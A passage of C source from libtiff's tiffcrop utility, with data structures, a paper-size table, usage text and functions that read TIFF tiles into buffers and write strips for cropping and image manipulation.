FILE_PER_SELECTION 4 /* One file per selection */ #define COMPOSITE_IMAGES 0 /* Selections combined into one image */ #define SEPARATED_IMAGES 1 /* Selections saved to separate images */ #define STRIP 1 #define TILE 2 #define MAX_REGIONS 8 /* number of regions to extract from a single page */ #define MAX_OUTBUFFS 8 /* must match larger of zones or regions */ #define MAX_SECTIONS 32 /* number of sections per page to write to output */ #define MAX_IMAGES 2048 /* number of images in descrete list, not in the file */ #define MAX_SAMPLES 8 /* maximum number of samples per pixel supported */ #define MAX_BITS_PER_SAMPLE 64 /* maximum bit depth supported */ #define MAX_EXPORT_PAGES 999999 /* maximum number of export pages per file */ #define DUMP_NONE 0 #define DUMP_TEXT 1 #define DUMP_RAW 2 /* Offsets into buffer for margins and fixed width and length segments */ struct offset { uint32 tmargin; uint32 lmargin; uint32 bmargin; uint32 rmargin; uint32 crop_width; uint32 crop_length; uint32 startx; uint32 endx; uint32 starty; uint32 endy; }; /* Description of a zone within the image. Position 1 of 3 zones would be * the first third of the image. These are computed after margins and * width/length requests are applied so that you can extract multiple * zones from within a larger region for OCR or barcode recognition. */ struct buffinfo { uint32 size; /* size of this buffer */ unsigned char *buffer; /* address of the allocated buffer */ }; struct zone { int position; /* ordinal of segment to be extracted */ int total; /* total equal sized divisions of crop area */ }; struct pageseg { uint32 x1; /* index of left edge */ uint32 x2; /* index of right edge */ uint32 y1; /* index of top edge */ uint32 y2; /* index of bottom edge */ int position; /* ordinal of segment to be extracted */ int total; /* total equal sized divisions of crop area */ uint32 buffsize; /* size of buffer needed to hold the cropped zone */ }; struct coordpairs { double X1; /* index of left edge in current units */ double X2; /* index of right edge in current units */ double Y1; /* index of top edge in current units */ double Y2; /* index of bottom edge in current units */ }; struct region { uint32 x1; /* pixel offset of left edge */ uint32 x2; /* pixel offset of right edge */ uint32 y1; /* pixel offset of top edge */ uint32 y2; /* picel offset of bottom edge */ uint32 width; /* width in pixels */ uint32 length; /* length in pixels */ uint32 buffsize; /* size of buffer needed to hold the cropped region */ unsigned char *buffptr; /* address of start of the region */ }; /* Cropping parameters from command line and image data * Note: This should be renamed to proc_opts and expanded to include all current globals * if possible, but each function that accesses global variables will have to be redone. */ struct crop_mask { double width; /* Selection width for master crop region in requested units */ double length; /* Selection length for master crop region in requesed units */ double margins[4]; /* Top, left, bottom, right margins */ float xres; /* Horizontal resolution read from image*/ float yres; /* Vertical resolution read from image */ uint32 combined_width; /* Width of combined cropped zones */ uint32 combined_length; /* Length of combined cropped zones */ uint32 bufftotal; /* Size of buffer needed to hold all the cropped region */ uint16 img_mode; /* Composite or separate images created from zones or regions */ uint16 exp_mode; /* Export input images or selections to one or more files */ uint16 crop_mode; /* Crop options to be applied */ uint16 res_unit; /* Resolution unit for margins and selections */ uint16 edge_ref; /* Reference edge for sections extraction and combination */ uint16 rotation; /* Clockwise rotation of the extracted region or image */ uint16 mirror; /* Mirror extracted region or image horizontally or vertically */ uint16 invert; /* Invert the color map of image or region */ uint16 photometric; /* Status of photometric interpretation for inverted image */ uint16 selections; /* Number of regions or zones selected */ uint16 regions; /* Number of regions delimited by corner coordinates */ struct region regionlist[MAX_REGIONS]; /* Regions within page or master crop region */ uint16 zones; /* Number of zones delimited by Ordinal:Total requested */ struct zone zonelist[MAX_REGIONS]; /* Zones indices to define a region */ struct coordpairs corners[MAX_REGIONS]; /* Coordinates of upper left and lower right corner */ }; #define MAX_PAPERNAMES 49 #define MAX_PAPERNAME_LENGTH 15 #define DEFAULT_RESUNIT RESUNIT_INCH #define DEFAULT_PAGE_HEIGHT 14.0 #define DEFAULT_PAGE_WIDTH 8.5 #define DEFAULT_RESOLUTION 300 #define DEFAULT_PAPER_SIZE "legal" #define ORIENTATION_NONE 0 #define ORIENTATION_PORTRAIT 1 #define ORIENTATION_LANDSCAPE 2 #define ORIENTATION_SEASCAPE 4 #define ORIENTATION_AUTO 16 #define PAGE_MODE_NONE 0 #define PAGE_MODE_RESOLUTION 1 #define PAGE_MODE_PAPERSIZE 2 #define PAGE_MODE_MARGINS 4 #define PAGE_MODE_ROWSCOLS 8 #define INVERT_DATA_ONLY 10 #define INVERT_DATA_AND_TAG 11 struct paperdef { char name[MAX_PAPERNAME_LENGTH]; double width; double length; double asratio; }; /* European page sizes corrected from update sent by * thomas . jarosch @ intra2net . com on 5/7/2010 * Paper Size Width Length Aspect Ratio */ struct paperdef PaperTable[MAX_PAPERNAMES] = { {"default", 8.500, 14.000, 0.607}, {"pa4", 8.264, 11.000, 0.751}, {"letter", 8.500, 11.000, 0.773}, {"legal", 8.500, 14.000, 0.607}, {"half-letter", 8.500, 5.514, 1.542}, {"executive", 7.264, 10.528, 0.690}, {"tabloid", 11.000, 17.000, 0.647}, {"11x17", 11.000, 17.000, 0.647}, {"ledger", 17.000, 11.000, 1.545}, {"archa", 9.000, 12.000, 0.750}, {"archb", 12.000, 18.000, 0.667}, {"archc", 18.000, 24.000, 0.750}, {"archd", 24.000, 36.000, 0.667}, {"arche", 36.000, 48.000, 0.750}, {"csheet", 17.000, 22.000, 0.773}, {"dsheet", 22.000, 34.000, 0.647}, {"esheet", 34.000, 44.000, 0.773}, {"superb", 11.708, 17.042, 0.687}, {"commercial", 4.139, 9.528, 0.434}, {"monarch", 3.889, 7.528, 0.517}, {"envelope-dl", 4.333, 8.681, 0.499}, {"envelope-c5", 6.389, 9.028, 0.708}, {"europostcard", 4.139, 5.833, 0.710}, {"a0", 33.110, 46.811, 0.707}, {"a1", 23.386, 33.110, 0.706}, {"a2", 16.535, 23.386, 0.707}, {"a3", 11.693, 16.535, 0.707}, {"a4", 8.268, 11.693, 0.707}, {"a5", 5.827, 8.268, 0.705}, {"a6", 4.134, 5.827, 0.709}, {"a7", 2.913, 4.134, 0.705}, {"a8", 2.047, 2.913, 0.703}, {"a9", 1.457, 2.047, 0.712}, {"a10", 1.024, 1.457, 0.703}, {"b0", 39.370, 55.669, 0.707}, {"b1", 27.835, 39.370, 0.707}, {"b2", 19.685, 27.835, 0.707}, {"b3", 13.898, 19.685, 0.706}, {"b4", 9.843, 13.898, 0.708}, {"b5", 6.929, 9.843, 0.704}, {"b6", 4.921, 6.929, 0.710}, {"c0", 36.102, 51.063, 0.707}, {"c1", 25.512, 36.102, 0.707}, {"c2", 18.031, 25.512, 0.707}, {"c3", 12.756, 18.031, 0.707}, {"c4", 9.016, 12.756, 0.707}, {"c5", 6.378, 9.016, 0.707}, {"c6", 4.488, 6.378, 0.704}, {"", 0.000, 0.000, 1.000} }; /* Structure to define input image parameters */ struct image_data { float xres; float yres; uint32 width; uint32 length; uint16 res_unit; uint16 bps; uint16 spp; uint16 planar; uint16 photometric; uint16 orientation; uint16 compression; uint16 adjustments; }; /* Structure to define the output image modifiers */ struct pagedef { char name[16]; double width; /* width in pixels */ double length; /* length in pixels */ double hmargin; /* margins to subtract from width of sections */ double vmargin; /* margins to subtract from height of sections */ double hres; /* horizontal resolution for output */ double vres; /* vertical resolution for output */ uint32 mode; /* bitmask of modifiers to page format */ uint16 res_unit; /* resolution unit for output image */ unsigned int rows; /* number of section rows */ unsigned int cols; /* number of section cols */ unsigned int orient; /* portrait, landscape, seascape, auto */ }; struct dump_opts { int debug; int format; int level; char mode[4]; char infilename[PATH_MAX + 1]; char outfilename[PATH_MAX + 1]; FILE *infile; FILE *outfile; }; /* globals */ static int outtiled = -1; static uint32 tilewidth = 0; static uint32 tilelength = 0; static uint16 config = 0; static uint16 compression = 0; static uint16 predictor = 0; static uint16 fillorder = 0; static uint32 rowsperstrip = 0; static uint32 g3opts = 0; static int ignore = FALSE; /* if true, ignore read errors */ static uint32 defg3opts = (uint32) -1; static int quality = 100; /* JPEG quality */ /* static int jpegcolormode = -1; was JPEGCOLORMODE_RGB; */ static int jpegcolormode = JPEGCOLORMODE_RGB; static uint16 defcompression = (uint16) -1; static uint16 defpredictor = (uint16) -1; static int pageNum = 0; static int little_endian = 1; /* Functions adapted from tiffcp with additions or significant modifications */ static int readContigStripsIntoBuffer (TIFF*, uint8*); static int readSeparateStripsIntoBuffer (TIFF*, uint8*, uint32, uint32, tsample_t, struct dump_opts *); static int readContigTilesIntoBuffer (TIFF*, uint8*, uint32, uint32, uint32, uint32, tsample_t, uint16); static int readSeparateTilesIntoBuffer (TIFF*, uint8*, uint32, uint32, uint32, uint32, tsample_t, uint16); static int writeBufferToContigStrips (TIFF*, uint8*, uint32); static int writeBufferToContigTiles (TIFF*, uint8*, uint32, uint32, tsample_t, struct dump_opts *); static int writeBufferToSeparateStrips (TIFF*, uint8*, uint32, uint32, tsample_t, struct dump_opts *); static int writeBufferToSeparateTiles (TIFF*, uint8*, uint32, uint32, tsample_t, struct dump_opts *); static int extractContigSamplesToBuffer (uint8 *, uint8 *, uint32, uint32, tsample_t, uint16, uint16, struct dump_opts *); static int processCompressOptions(char*); static void usage(void); /* All other functions by Richard Nolde, not found in tiffcp */ static void initImageData (struct image_data *); static void initCropMasks (struct crop_mask *); static void initPageSetup (struct pagedef *, struct pageseg *, struct buffinfo []); static void initDumpOptions(struct dump_opts *); /* Command line and file naming functions */ void process_command_opts (int, char *[], char *, char *, uint32 *, uint16 *, uint16 *, uint32 *, uint32 *, uint32 *, struct crop_mask *, struct pagedef *, struct dump_opts *, unsigned int *, unsigned int *); static int update_output_file (TIFF **, char *, int, char *, unsigned int *); /* * High level functions for whole image manipulation */ static int get_page_geometry (char *, struct pagedef*); static int computeInputPixelOffsets(struct crop_mask *, struct image_data *, struct offset *); static int computeOutputPixelOffsets (struct crop_mask *, struct image_data *, struct pagedef *, struct pageseg *, struct dump_opts *); static int loadImage(TIFF *, struct image_data *, struct dump_opts *, unsigned char **); static int correct_orientation(struct image_data *, unsigned char **); static int getCropOffsets(struct image_data *, struct crop_mask *, struct dump_opts *); static int processCropSelections(struct image_data *, struct crop_mask *, unsigned char **, struct buffinfo []); static int writeSelections(TIFF *, TIFF **, struct crop_mask *, struct image_data *, struct dump_opts *, struct buffinfo [], char *, char *, unsigned int*, unsigned int); /* Section functions */ static int createImageSection(uint32, unsigned char **); static int extractImageSection(struct image_data *, struct pageseg *, unsigned char *, unsigned char *); static int writeSingleSection(TIFF *, TIFF *, struct image_data *, struct dump_opts *, uint32, uint32, double, double, unsigned char *); static int writeImageSections(TIFF *, TIFF *, struct image_data *, struct pagedef *, struct pageseg *, struct dump_opts *, unsigned char *, unsigned char **); /* Whole image functions */ static int createCroppedImage(struct image_data *, struct crop_mask *, unsigned char **, unsigned char **); static int writeCroppedImage(TIFF *, TIFF *, struct image_data *image, struct dump_opts * dump, uint32, uint32, unsigned char *, int, int); /* Image manipulation functions */ static int rotateContigSamples8bits(uint16, uint16, uint16, uint32, uint32, uint32, uint8 *, uint8 *); static int rotateContigSamples16bits(uint16, uint16, uint16, uint32, uint32, uint32, uint8 *, uint8 *); static int rotateContigSamples24bits(uint16, uint16, uint16, uint32, uint32, uint32, uint8 *, uint8 *); static int rotateContigSamples32bits(uint16, uint16, uint16, uint32, uint32, uint32, uint8 *, uint8 *); static int rotateImage(uint16, struct image_data *, uint32 *, uint32 *, unsigned char **); static int mirrorImage(uint16, uint16, uint16, uint32, uint32, unsigned char *); static int invertImage(uint16, uint16, uint16, uint32, uint32, unsigned char *); /* Functions to reverse the sequence of samples in a scanline */ static int reverseSamples8bits (uint16, uint16, uint32, uint8 *, uint8 *); static int reverseSamples16bits (uint16, uint16, uint32, uint8 *, uint8 *); static int reverseSamples24bits (uint16, uint16, uint32, uint8 *, uint8 *); static int reverseSamples32bits (uint16, uint16, uint32, uint8 *, uint8 *); static int reverseSamplesBytes (uint16, uint16, uint32, uint8 *, uint8 *); /* Functions for manipulating individual samples in an image */ static int extractSeparateRegion(struct image_data *, struct crop_mask *, unsigned char *, unsigned char *, int); static int extractCompositeRegions(struct image_data *, struct crop_mask *, unsigned char *, unsigned char *); static int extractContigSamples8bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32); static int extractContigSamples16bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32); static int extractContigSamples24bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32); static int extractContigSamples32bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32); static int extractContigSamplesBytes (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32); static int extractContigSamplesShifted8bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32, int); static int extractContigSamplesShifted16bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32, int); static int extractContigSamplesShifted24bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32, int); static int extractContigSamplesShifted32bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32, int); static int extractContigSamplesToTileBuffer(uint8 *, uint8 *, uint32, uint32, uint32, uint32, tsample_t, uint16, uint16, uint16, struct dump_opts *); /* Functions to combine separate planes into interleaved planes */ static int combineSeparateSamples8bits (uint8 *[], uint8 *, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateSamples16bits (uint8 *[], uint8 *, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateSamples24bits (uint8 *[], uint8 *, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateSamples32bits (uint8 *[], uint8 *, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateSamplesBytes (unsigned char *[], unsigned char *, uint32, uint32, tsample_t, uint16, FILE *, int, int); static int combineSeparateTileSamples8bits (uint8 *[], uint8 *, uint32, uint32, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateTileSamples16bits (uint8 *[], uint8 *, uint32, uint32, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateTileSamples24bits (uint8 *[], uint8 *, uint32, uint32, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateTileSamples32bits (uint8 *[], uint8 *, uint32, uint32, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateTileSamplesBytes (unsigned char *[], unsigned char *, uint32, uint32, uint32, uint32, tsample_t, uint16, FILE *, int, int); /* Dump functions for debugging */ static void dump_info (FILE *, int, char *, char *, ...); static int dump_data (FILE *, int, char *, unsigned char *, uint32); static int dump_byte (FILE *, int, char *, unsigned char); static int dump_short (FILE *, int, char *, uint16); static int dump_long (FILE *, int, char *, uint32); static int dump_wide (FILE *, int, char *, uint64); static int dump_buffer (FILE *, int, uint32, uint32, uint32, unsigned char *); /* End function declarations */ /* Functions derived in whole or in part from tiffcp */ /* The following functions are taken largely intact from tiffcp */ static char* usage_info[] = { "usage: tiffcrop [options] source1 ... sourceN destination", "where options are:", " -h Print this syntax listing", " -v Print tiffcrop version identifier and last revision date", " ", " -a Append to output instead of overwriting", " -d offset Set initial directory offset, counting first image as one, not zero", " -p contig Pack samples contiguously (e.g. RGBRGB...)", " -p separate Store samples separately (e.g. RRR...GGG...BBB...)", " -s Write output in strips", " -t Write output in tiles", " -i Ignore read errors", " ", " -r # Make each strip have no more than # rows", " -w # Set output tile width (pixels)", " -l # Set output tile length (pixels)", " ", " -f lsb2msb Force lsb-to-msb FillOrder for output", " -f msb2lsb Force msb-to-lsb FillOrder for output", "", " -c lzw[:opts] Compress output with Lempel-Ziv & Welch encoding", " -c zip[:opts] Compress output with deflate encoding", " -c jpeg[:opts] Compress output with JPEG encoding", " -c packbits Compress output with packbits encoding", " -c g3[:opts] Compress output with CCITT Group 3 encoding", " -c g4 Compress output with CCITT Group 4 encoding", " -c none Use no compression algorithm on output", " ", "Group 3 options:", " 1d Use default CCITT Group 3 1D-encoding", " 2d Use optional CCITT Group 3 2D-encoding", " fill Byte-align EOL codes", "For example, -c g3:2d:fill to get G3-2D-encoded data with byte-aligned EOLs", " ", "JPEG options:", " # Set compression quality level (0-100, default 100)", " raw Output color image as raw YCbCr", " rgb Output color image as RGB", "For example, -c jpeg:rgb:50 to get JPEG-encoded RGB data with 50% comp. quality", " ", "LZW and deflate options:", " # Set predictor value", "For example, -c lzw:2 to get LZW-encoded data with horizontal differencing", " ", "Page and selection options:", " -N odd|even|#,#-#,#|last sequences and ranges of images within file to process", " The words odd or even may be used to specify all odd or even numbered images.", " The word last may be used in place of a number in the sequence to indicate.", " The final image in the file without knowing how many images there are.", " Numbers are counted from one even though TIFF IFDs are counted from zero.", " ", " -E t|l|r|b edge to use as origin for width and length of crop region", " -U units [in, cm, px ] inches, centimeters or pixels", " ", " -m #,#,#,# margins from edges for selection: top, left, bottom, right separated by commas", " -X # horizontal dimension of region to extract expressed in current units", " -Y # vertical dimension of region to extract expressed in current units", " -Z #:#,#:# zones of the image designated as position X of Y,", " eg 1:3 would be first of three equal portions measured from reference edge", " -z x1,y1,x2,y2:...:xN,yN,xN+1,yN+1", " regions of the image designated by upper left and lower right coordinates", "", "Export grouping options:", " -e c|d|i|m|s export mode for images and selections from input images.", " When exporting a composite image from multiple zones or regions", " (combined and image modes), the selections must have equal sizes", " for the axis perpendicular to the edge specified with -E.", " c|combined All images and selections are written to a single file (default).", " with multiple selections from one image combined into a single image.", " d|divided All images and selections are written to a single file", " with each selection from one image written to a new image.", " i|image Each input image is written to a new file (numeric filename sequence)", " with multiple selections from the image combined into one image.", " m|multiple Each input image is written to a new file (numeric filename sequence)", " with each selection from the image written to a new image.", " s|separated Individual selections from each image are written to separate files.", "", "Output options:", " -H # Set horizontal resolution of output images to #", " -V # Set vertical resolution of output images to #", " -J # Set horizontal margin of output page to # expressed in current units", " when sectioning image into columns x rows using the -S cols:rows option", " -K # Set verticalal margin of output page to # expressed in current units", " when sectioning image into columns x rows using the -S cols:rows option", " ", " -O orient orientation for output image, portrait, landscape, auto", " -P page page size for output image segments, eg letter, legal, tabloid, etc", " use #.#x#.# to specify a custom page size in the currently defined units", " where #.# represents the width and length", " -S cols:rows Divide the image into equal sized segments using cols across and rows down.", " ", " -F hor|vert|both", " flip (mirror) image or region horizontally, vertically, or both", " -R # [90,180,or 270] degrees clockwise rotation of image or extracted region", " -I [black|white|data|both]", " invert color space, eg dark to light for bilevel and grayscale images", " If argument is white or black, set the PHOTOMETRIC_INTERPRETATION ", " tag to MinIsBlack or MinIsWhite without altering the image data", " If the argument is data or both, the image data are modified:", " both inverts the data and the PHOTOMETRIC_INTERPRETATION tag,", " data inverts the data but not the PHOTOMETRIC_INTERPRETATION tag", " ", "-D opt1:value1,opt2:value2,opt3:value3:opt4:value4", " Debug/dump program progress and/or data to non-TIFF files.", " Options include the following and must be joined as a comma", " separate list. The use of this option is generally limited to", " program debugging and development of future options.", " ", " debug:N Display limited program progress indicators where larger N", " increase the level of detail. Note: Tiffcrop may be compiled with", " -DDEVELMODE to enable additional very low level debug reporting.", "", " Format:txt|raw Format any logged data as ASCII text or raw binary ", " values. ASCII text dumps include strings of ones and zeroes", " representing the binary values in the image data plus identifying headers.", " ", " level:N Specify the level of detail presented in the dump files.", " This can vary from dumps of the entire input or output image data to dumps", " of data processed by specific functions. Current range of levels is 1 to 3.", " ", " input:full-path-to-directory/input-dumpname", " ", " output:full-path-to-directory/output-dumpnaem", " ", " When dump files are being written, each image will be written to a separate", " file with the name built by adding a numeric sequence value to the dumpname", " and an extension of .txt for ASCII dumps or .bin for binary dumps.", " ", " The four debug/dump options are independent, though it makes little sense to", " specify a dump file without specifying a detail level.", " ", NULL }; /* This function could be modified to pass starting sample offset * and number of samples as args to select fewer than spp * from input image. These would then be passed to individual * extractContigSampleXX routines. */ static int readContigTilesIntoBuffer (TIFF* in, uint8* buf, uint32 imagelength, uint32 imagewidth, uint32 tw, uint32 tl, tsample_t spp, uint16 bps) { int status = 1; tsample_t sample = 0; tsample_t count = spp; uint32 row, col, trow; uint32 nrow, ncol; uint32 dst_rowsize, shift_width; uint32 bytes_per_sample, bytes_per_pixel; uint32 trailing_bits, prev_trailing_bits; uint32 tile_rowsize = TIFFTileRowSize(in); uint32 src_offset, dst_offset; uint32 row_offset, col_offset; uint8 *bufp = (uint8*) buf; unsigned char *src = NULL; unsigned char *dst = NULL; tsize_t tbytes = 0, tile_buffsize = 0; tsize_t tilesize = TIFFTileSize(in); unsigned char *tilebuf = NULL; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if ((bps % 8) == 0) shift_width = 0; else { if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; } tile_buffsize = tilesize; if (tilesize == 0 || tile_rowsize == 0) { TIFFError("readContigTilesIntoBuffer", "Tile size or tile rowsize is zero"); exit(-1); } if (tilesize < (tsize_t)(tl * tile_rowsize)) { #ifdef DEBUG2 TIFFError("readContigTilesIntoBuffer", "Tilesize %lu is too small, using alternate calculation %u", tilesize, tl * tile_rowsize); #endif tile_buffsize = tl * tile_rowsize; if (tl != (tile_buffsize / tile_rowsize)) { TIFFError("readContigTilesIntoBuffer", "Integer overflow when calculating buffer size."); exit(-1); } } tilebuf = _TIFFmalloc(tile_buffsize); if (tilebuf == 0) return 0; dst_rowsize = ((imagewidth * bps * spp) + 7) / 8; for (row = 0; row < imagelength; row += tl) { nrow = (row + tl > imagelength) ? imagelength - row : tl; for (col = 0; col < imagewidth; col += tw) { tbytes = TIFFReadTile(in, tilebuf, col, row, 0, 0); if (tbytes < tilesize && !ignore) { TIFFError(TIFFFileName(in), "Error, can't read tile at row %lu col %lu, Read %lu bytes of %lu", (unsigned long) col, (unsigned long) row, (unsigned long)tbytes, (unsigned long)tilesize); status = 0; _TIFFfree(tilebuf); return status; } row_offset = row * dst_rowsize; col_offset = ((col * bps * spp) + 7)/ 8; bufp = buf + row_offset + col_offset; if (col + tw > imagewidth) ncol = imagewidth - col; else ncol = tw; /* Each tile scanline will start on a byte boundary but it * has to be merged into the scanline for the entire * image buffer and the previous segment may not have * ended on a byte boundary */ /* Optimization for common bit depths, all samples */ if (((bps % 8) == 0) && (count == spp)) { for (trow = 0; trow < nrow; trow++) { src_offset = trow * tile_rowsize; _TIFFmemcpy (bufp, tilebuf + src_offset, (ncol * spp * bps) / 8); bufp += (imagewidth * bps * spp) / 8; } } else { /* Bit depths not a multiple of 8 and/or extract fewer than spp samples */ prev_trailing_bits = trailing_bits = 0; trailing_bits = (ncol * bps * spp) % 8; /* for (trow = 0; tl < nrow; trow++) */ for (trow = 0; trow < nrow; trow++) { src_offset = trow * tile_rowsize; src = tilebuf + src_offset; dst_offset = (row + trow) * dst_rowsize; dst = buf + dst_offset + col_offset; switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, ncol, sample, spp, bps, count, 0, ncol)) { TIFFError("readContigTilesIntoBuffer", "Unable to extract row %d from tile %lu", row, (unsigned long)TIFFCurrentTile(in)); return 1; } break; case 1: if (bps == 1) { if (extractContigSamplesShifted8bits (src, dst, ncol, sample, spp, bps, count, 0, ncol, prev_trailing_bits)) { TIFFError("readContigTilesIntoBuffer", "Unable to extract row %d from tile %lu", row, (unsigned long)TIFFCurrentTile(in)); return 1; } break; } else if (extractContigSamplesShifted16bits (src, dst, ncol, sample, spp, bps, count, 0, ncol, prev_trailing_bits)) { TIFFError("readContigTilesIntoBuffer", "Unable to extract row %d from tile %lu", row, (unsigned long)TIFFCurrentTile(in)); return 1; } break; case 2: if (extractContigSamplesShifted24bits (src, dst, ncol, sample, spp, bps, count, 0, ncol, prev_trailing_bits)) { TIFFError("readContigTilesIntoBuffer", "Unable to extract row %d from tile %lu", row, (unsigned long)TIFFCurrentTile(in)); return 1; } break; case 3: case 4: case 5: if (extractContigSamplesShifted32bits (src, dst, ncol, sample, spp, bps, count, 0, ncol, prev_trailing_bits)) { TIFFError("readContigTilesIntoBuffer", "Unable to extract row %d from tile %lu", row, (unsigned long)TIFFCurrentTile(in)); return 1; } break; default: TIFFError("readContigTilesIntoBuffer", "Unsupported bit depth %d", bps); return 1; } } prev_trailing_bits += trailing_bits; /* if (prev_trailing_bits > 7) */ /* prev_trailing_bits-= 8; */ } } } _TIFFfree(tilebuf); return status; } static int readSeparateTilesIntoBuffer (TIFF* in, uint8 *obuf, uint32 imagelength, uint32 imagewidth, uint32 tw, uint32 tl, uint16 spp, uint16 bps) { int i, status = 1, sample; int shift_width, bytes_per_pixel; uint16 bytes_per_sample; uint32 row, col; /* Current row and col of image */ uint32 nrow, ncol; /* Number of rows and cols in current tile */ uint32 row_offset, col_offset; /* Output buffer offsets */ tsize_t tbytes = 0, tilesize = TIFFTileSize(in); tsample_t s; uint8* bufp = (uint8*)obuf; unsigned char *srcbuffs[MAX_SAMPLES]; unsigned char *tbuff = NULL; bytes_per_sample = (bps + 7) / 8; for (sample = 0; (sample < spp) && (sample < MAX_SAMPLES); sample++) { srcbuffs[sample] = NULL; tbuff = (unsigned char *)_TIFFmalloc(tilesize + 8); if (!tbuff) { TIFFError ("readSeparateTilesIntoBuffer", "Unable to allocate tile read buffer for sample %d", sample); for (i = 0; i < sample; i++) _TIFFfree (srcbuffs[i]); return 0; } srcbuffs[sample] = tbuff; } /* Each tile contains only the data for a single plane * arranged in scanlines of tw * bytes_per_sample bytes. */ for (row = 0; row < imagelength; row += tl) { nrow = (row + tl > imagelength) ? imagelength - row : tl; for (col = 0; col < imagewidth; col += tw) { for (s = 0; s < spp && s < MAX_SAMPLES; s++) { /* Read each plane of a tile set into srcbuffs[s] */ tbytes = TIFFReadTile(in, srcbuffs[s], col, row, 0, s); if (tbytes < 0 && !ignore) { TIFFError(TIFFFileName(in), "Error, can't read tile for row %lu col %lu, " "sample %lu", (unsigned long) col, (unsigned long) row, (unsigned long) s); status = 0; for (sample = 0; (sample < spp) && (sample < MAX_SAMPLES); sample++) { tbuff = srcbuffs[sample]; if (tbuff != NULL) _TIFFfree(tbuff); } return status; } } /* Tiles on the right edge may be padded out to tw * which must be a multiple of 16. * Ncol represents the visible (non padding) portion. */ if (col + tw > imagewidth) ncol = imagewidth - col; else ncol = tw; row_offset = row * (((imagewidth * spp * bps) + 7) / 8); col_offset = ((col * spp * bps) + 7) / 8; bufp = obuf + row_offset + col_offset; if ((bps % 8) == 0) { if (combineSeparateTileSamplesBytes(srcbuffs, bufp, ncol, nrow, imagewidth, tw, spp, bps, NULL, 0, 0)) { status = 0; break; } } else { bytes_per_pixel = ((bps * spp) + 7) / 8; if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; switch (shift_width) { case 1: if (combineSeparateTileSamples8bits (srcbuffs, bufp, ncol, nrow, imagewidth, tw, spp, bps, NULL, 0, 0)) { status = 0; break; } break; case 2: if (combineSeparateTileSamples16bits (srcbuffs, bufp, ncol, nrow, imagewidth, tw, spp, bps, NULL, 0, 0)) { status = 0; break; } break; case 3: if (combineSeparateTileSamples24bits (srcbuffs, bufp, ncol, nrow, imagewidth, tw, spp, bps, NULL, 0, 0)) { status = 0; break; } break; case 4: case 5: case 6: case 7: case 8: if (combineSeparateTileSamples32bits (srcbuffs, bufp, ncol, nrow, imagewidth, tw, spp, bps, NULL, 0, 0)) { status = 0; break; } break; default: TIFFError ("readSeparateTilesIntoBuffer", "Unsupported bit depth: %d", bps); status = 0; break; } } } } for (sample = 0; (sample < spp) && (sample < MAX_SAMPLES); sample++) { tbuff = srcbuffs[sample]; if (tbuff != NULL) _TIFFfree(tbuff); } return status; } static int writeBufferToContigStrips(TIFF* out, uint8* buf, uint32 imagelength) { uint32 row, nrows, rowsperstrip; tstrip_t strip = 0; tsize_t stripsize; TIFFGetFieldDefaulted(out, TIFFTAG_ROWSPERSTRIP, &rowsperstrip); for (row = 0; row < imagelength; row += rowsperstrip) { nrows = (row + rowsperstrip > imagelength) ? imagelength - row : rowsperstrip; stripsize = TIFFVStripSize(out, nrows); if (TIFFWriteEncodedStrip(out, strip++, buf, stripsize) < 0) { TIFFError(TIFFFileName(out), "Error, can't write strip %u", strip - 1); return 1; } buf += stripsize; } return 0; } /* Abandon plans to modify code so that plannar orientation separate images * do not have all samples for each channel written before all samples * for the next channel have been abandoned. * Libtiff internals seem to depend on all data for a given sample * being contiguous within a strip or tile when PLANAR_CONFIG is * separate. All strips or tiles of a given plane are written * before any strips or tiles of a different plane are stored. */ static int writeBufferToSeparateStrips (TIFF* out, uint8* buf, uint32 length, uint32 width, uint16 spp, struct dump_opts *dump) { uint8 *src; uint16 bps; uint32 row, nrows, rowsize, rowsperstrip; uint32 bytes_per_sample; tsample_t s; tstrip_t strip = 0; tsize_t stripsize = TIFFStripSize(out); tsize_t rowstripsize, scanlinesize = TIFFScanlineSize(out); tsize_t total_bytes = 0; tdata_t obuf; (void) TIFFGetFieldDefaulted(out, TIFFTAG_ROWSPERSTRIP, &rowsperstrip); (void) TIFFGetField(out, TIFFTAG_BITSPERSAMPLE, &bps); bytes_per_sample = (bps + 7) / 8; rowsize = ((bps * spp * width) + 7) / 8; /* source has interleaved samples */ rowstripsize = rowsperstrip * bytes_per_sample * (width + 1); obuf = _TIFFmalloc (rowstripsize); if (obuf == NULL) return 1; for (s = 0; s < spp; s++) { for (row = 0; row < length; row += rowsperstrip) { nrows = (row + rowsperstrip > length) ? length - row : rowsperstrip; stripsize = TIFFVStripSize(out, nrows); src = buf + (row * rowsize); total_bytes += stripsize; memset (obuf, '\0', rowstripsize); if (extractContigSamplesToBuffer(obuf, src, nrows, width, s, spp, bps, dump)) { _TIFFfree(obuf); return 1; } if ((dump->outfile != NULL) && (dump->level == 1)) { dump_info(dump->outfile, dump->format,"", "Sample %2d, Strip: %2d, bytes: %4d, Row %4d, bytes: %4d, Input offset: %6d", s + 1, strip + 1, stripsize, row + 1, 